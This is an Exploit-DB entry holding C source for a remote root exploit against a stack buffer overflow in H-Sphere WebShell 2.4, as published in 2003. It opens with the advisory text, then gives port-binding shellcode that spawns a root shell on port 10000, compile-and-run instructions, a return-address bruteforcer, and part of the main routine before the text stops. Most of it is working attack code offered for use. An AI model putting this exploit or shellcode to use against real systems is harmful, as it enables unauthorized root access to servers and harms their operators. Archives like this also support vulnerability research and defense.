Exploit-DB #22129
Description: H-Sphere WebShell 2.4 - Remote Command Execution
Type: remote
Platform: linux
Date: 2003-01-06
Author: Carl Livitt

Exploit:
/*
source: https://www.securityfocus.com/bid/6527/info
 
A vulnerability has been discovered in H-Sphere Webshell. During the pre-authentication phase Webshell fails to perform sufficient bounds checking on user-supplied HTTP parameters. As a result, a malicious attacker may be able to trigger a buffer overrun.
 
Successful exploitation of this issue would allow an attacker to overwrite the vulnerable function's instruction pointer. By causing the program to return to attacker-supplied instructions, it may be possible to execute arbitrary code with the privileges of the target process.
 
It should be noted that this issue was discovered in H-Sphere 2.3 RC3. It is not yet known whether earlier versions are also vulnerable.
*/

/*
 * Remote r00t exploit for Webshell 2.4 (possibly other versions).
 * Vulnerability found and exploit written by Carl Livitt
 * (carl (@) learningshophull.co.uk).
 *

Exploits a simple stack-based buffer overflow in CGI.C of the
HSphere webshell component which is installed SUID & GUID root
by default.

This exploit will bind a r00t shell to port 10000 (by default) of
the remote box. Feel free to use any shellcode of your choice.

This code is a butchered version of the local exploit for
webshell. It works on my test box, and won't be refined any further,
although the bruteforcer should work on most webshell installations.

To exploit:

gcc -o webshell-remote webshell-remote.c
./webshell-remote -t www.host-to-exploit.com -l /path/to/webshell

That's it. It'll work on almost all vulnerable hosts (running Linux).
*/


#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>

/*
 * Play with these to make it work (if it fails!)
 */
#define EGG_SIZE_START 280
#define EGG_SIZE_END 291
#define RET_ADDR_START 0xbffff010
#define RET_ADDR_END 0xbfffffff
#define RET_ADDR_INCR 768
#define COMMAND1 "id\n"
#define COMMAND2 "uname -a\n"
#define ROOT_SHELL_PORT 10000

// should only be needed against localhost. Set to 0 to disable.
#define SLEEP_TIME 125000000L

// don't play with this, you'll only break things.
#define CONTENT_LENGTH 43

void make_shellcode();
void make_exploit_buffer();
void make_boundary_buffer();

/*
 * 88 bytes portbinding shellcode - linux-x86
 * - by bighawk (bighawk@warfare.com)
 *   setuid(0) and setgid(0) added by Carl Livitt
 */
char shellcode[] =
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80" // setuid(0),setgid(0)
   "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
   "\x89\xc7\x52\x66\x68"
   "XX" // XX is port number
   "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
   "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
   "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
   "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
   "\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; // bind shell on port 10000

/*
 * Ahhhh, global variables make life easy :)
 */
char sc[1024];
char egg[1024];
char exploit_buf[4096];
char target[256];
int port=80;
char location[1024];
unsigned long RET_ADDR;
int EGG_SIZE, root_shell_port=ROOT_SHELL_PORT;

char usage[]=
"-h           This cruft\n"
"-t host      Target host (eg. www.xyzzy.com)\n"
"-p port      Target port [80]\n"
"-P port      Port to bind shell on remote host [10000]\n"
"-l location  Location of webshell (eg. /cgi-bin/webshell)\n\n"
"Example:\n\n"
"./exp-remote -t www.xyzzy.com -p 8080 -P 12345 -l /psoft/servlet/psoft.hsphere.CP\n\n"
"This would attack http://www.xyzzy.com:8080/psoft/servlet/psoft.hsphere.CP\n"
"and bind a root shell to port 12345 if successful.\n\n";

/*
 * The fun begins here...
 */

 main(int argc, char **argv) {
        int ch, websock, shellsock,r=1;
        struct hostent *host;
        struct sockaddr_in saddr;
        char buf[8092];
        struct timespec sleepTime;
        fd_set rfds;
        int retval;

        /*
         * Process command-line args
         */
        while((ch=getopt(argc,argv,"ht:p:P:l:"))!=-1) {
                switch(ch) {
                        case 'h':
                                printf("%s",usage);
                                exit(0);
                                break;
                        case 't':
                                strncpy(target, optarg, sizeof(target)-1);
                                break;
                        case 'p':
                                port=atoi(optarg);
                                break;
                        case 'P':
                                root_shell_port=atoi(optarg);
                                break;
                        case 'l':
                                strncpy(location, optarg, sizeof(location)-1);
                                break;
                        default:
                                printf("%s", usage);
                                exit(0);
                                break;
                }
        }

        /*
         * Tell the attacker we're about to start the exploit.
         * Look up the IP address of the host specified on the
         * command-line
         */
        if((host=gethostbyname(target))==NULL) {
                printf("Host not found. Usage:\n%s\n", usage);
                exit(1);
        }
        printf("Exploiting http://%s:%d%s%s..", target, port, (location[0]=='/')?"":"/", location);

        /*
         * Start the bruteforce loop
         */
        for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
                for(EGG_SIZE=EGG_SIZE_START; EGG_SIZE<EGG_SIZE_END; EGG_SIZE++) {
                        /*
                         * Setup the exploit strings and
                         * HTTP headers. The Accept-Encoding header